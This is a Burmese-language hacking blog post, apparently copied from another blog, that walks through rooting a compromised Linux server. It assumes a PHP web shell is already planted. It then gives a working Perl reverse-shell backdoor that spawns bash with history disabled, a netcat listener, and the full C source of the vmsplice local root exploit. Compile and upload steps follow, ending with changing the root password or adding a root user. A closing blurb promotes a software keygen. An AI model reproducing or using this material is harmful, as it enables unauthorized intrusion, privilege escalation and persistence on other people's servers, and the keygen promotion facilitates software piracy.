ပထမဆံုးအေနနဲ ့Root လုပ္မယ့္ Target Server ေပၚမွာ သင့္ရဲ ့ php shell ကို တစ္နည္းနည္းနဲ ့တင္ထားျပီးသားရွိဖို ့လိုအပ္ပါတယ္။ တကယ္လို ့သင့္မွာသာ permission ရွိျပီးသားဆိုရင္ေတာ့ butt.pl ဆိုတဲ ့new file တစ္ခု create လုပ္ရပါမယ္။ ( permission မရေသးရင္ေတာ့ Perl scrip ကို PHP inclusion နဲ ့execute
လုပ္လို ့ရပါတယ္ အဲ့လိုလုပ္တဲ့နည္းကိုလဲ ေနာက္သပ္သပ္ ကြ်န္ေတာ္ tutorial
ေရးေပးပါ့မယ္ ) ခုနက အသစ္ create လုပ္ထားတဲ့ butt.pl ထဲမွာထည့္ရမယ့္ code ေတြကေတာ့
#!/usr/bin/perl
use IO::Socket;
$system = '/bin/bash';
$ARGC=@ARGV;
print "IHS BACK-CONNECT BACKDOOR\n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "IHS BACK-CONNECT BACKDOOR \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF
ျပီးရင္ေတာ့ သင့္ Router ထဲကေန Port 8080 ကို forward လုပ္လုိက္ပါ။ ေအာက္က command ကို အသံုးျပဳျပီးေတာ့ shell ကို execute လုပ္ပါ။ ဒါမွမဟုတ္ php script သံုးမယ္ဆိုရင္ေတာ့ script ကို run လုိက္ပါ။ (မွတ္ခ်က္။ ။ php script သံုးမယ္ဆိုရင္ေတာ့ system ကို point လုပ္ဖို ့ script ကို manually change ေပးရမွာျဖစ္ပါတယ္။)
perl butts.pl 192.168.0.254 8080
IP Address ကို သင့္ IP သို ့ေျပာင္းလိုက္ပါ။ ျပီးရင္ေတာ့ terminal ကိုဖြင့္ျပီး ေအာက္က command ကို အသံုးျပဳရပါမယ္။ ( Netcat ကိုေတာ့ install လုပ္ဖို ့လိုအပ္ပါမယ္ )
nc -vv -l -n -p 8080
connect လုပ္လို ့ရ မရဆိုတာ ေသခ်ာဖို ့"uname -a;id" ဆိုတဲ့ command ကို
သံုးျပီး confirm လုပ္ရပါ့မယ္။ ဒါဆိုရင္ေတာ့ kernel information ကို
ရရွိမွာျဖစ္ျပီး အဲ့ info ကို အသံုးခ်ျပီး root လုပ္လုိ ့ရပါျပီ။ ဒီအဆင့္မွာေတာ့ exploit ကို compile လုပ္ဖို ့လိုအပ္လာပါျပီ။ Linux Server
အမ်ားစုက compilers ေတြ ကို disable လုပ္ထားေလ့ရွိပါတယ္။ ဒါေၾကာင့္ ကိုယ့္
computer ကေန compile လုပ္ရမွာျဖစ္ပါတယ္။ သတိျပဳဖို ့အေရးၾကီးတာက Window OS ကေနျပီး cross compile လုပ္လို ့မရဘူးဆိုတာပါပဲ။ Linux OS တစ္ခုခု ကေနပဲ compile လုပ္လို ့ရမွာပဲျဖစ္ပါတယ္။ ေအာက္မွာ က်ေနာ္ ျပမယ့္ exploit ဟာ kernel ေတာ္ေတာ္မ်ားမ်ားမွာ 100% အလုပ္လုပ္ပါတယ္။ text file တစ္ခု ဖြင့္ျပီး ေအာက္မွာေဖာ္ျပထားတဲ့ code ကို copy/paste လုပ္ျပီး dongs.c ဆိုျပီး save လုပ္လုိက္ပါ။
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");
if (!uid || !gid)
die("!@#$", 0);
/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);
/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
ေနာက္ထပ္ Terminal အသစ္တစ္ခုထပ္ဖြင့္ျပီး ဒီ command ကို ရိုက္လိုက္ပါ။
gcc dongs.c -o dongs
ျပီးရင္ေတာ့ ခုနက save လုပ္ထားတဲ့ dongs ဆိုတဲ့ txt file ကို server ထဲက PHP Shell ေပၚကို upload လုပ္လိုက္ပါ။ ဒီအဆင့္ျပီးရင္ေတာ့ Terminal ကို ျပန္သြားျပီး Netcat ကို လဲ connect လုပ္ထားျပီးရင္ေတာ့ ေအာက္ကေပးထားတဲ့ code ကို ရိုက္ထည့္လိုက္ပါ။
./dongs
ဒါဆိုရင္ေတာ့ exploit ဟာ ေကာင္းေကာင္းအလုပ္လုပ္ျပီး သင့္ကို root access ရရွိေစမွာျဖစ္ပါတယ္။
ေနာက္ဆံုးအဆင့္အေနနဲ ့ root password ကို change ဖို ့ "passwd root"
ဆိုတဲ့ command ကိုအသံုးျပဳျပီးေတာ့ ေျပာင္းခ်င္ေျပာင္း ဒါမွမဟုတ္ new root
user ဆိုျပီး အသစ္ create ထပ္လုပ္ရင္လုပ္လိုက္ပါ။ ဒါဆိုရင္ေတာ့ Linux Server တစ္ခုကို Root လုပ္လုိ ့ျပီးသြားျပီျဖစ္ပါတယ္။
Copy from: http://koalpha.blogspot.com
Universal Keygen Generator ဆုိေတာ့ ေနာက္ထပ္ရွင္းျပစရာမရွိေတာ့ဘူးထင္ပါတယ္။ ဖုိင္ဆုိဒ္ကလည္း ေသးေသးေလးရယ္။ အသုံးျပဳနည္းကလည္း လြယ္ပါတယ္။ ဒီေကာင္ကုိ ဘူေရမ်က္ရြာဆုိလားမသိဘူး။ အဲဒီကေန မလာပါတယ္။ လုိခ်င္တဲ့ Key ေတာ္ေတာ္မ်ားမ်ားကုိ ေပးႏုိင္လိမ့္မယ္လုိ႔ ေမ်ာ္လင့္ပါတယ္။
![[MSF]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirDSlE-BtL225zcwELV-uPG7ShLpQFgYa1B0UAdhebnIIaTM_0_rOPHwId-npaYzO06muISuLmBsRyp5MX83eBBYyDEKmSt-fT-E7WgkrKLn1TKeY5bb2gRuof1vQlhx5MHDUDjgwOko/s1600/4sec.png){kind=small}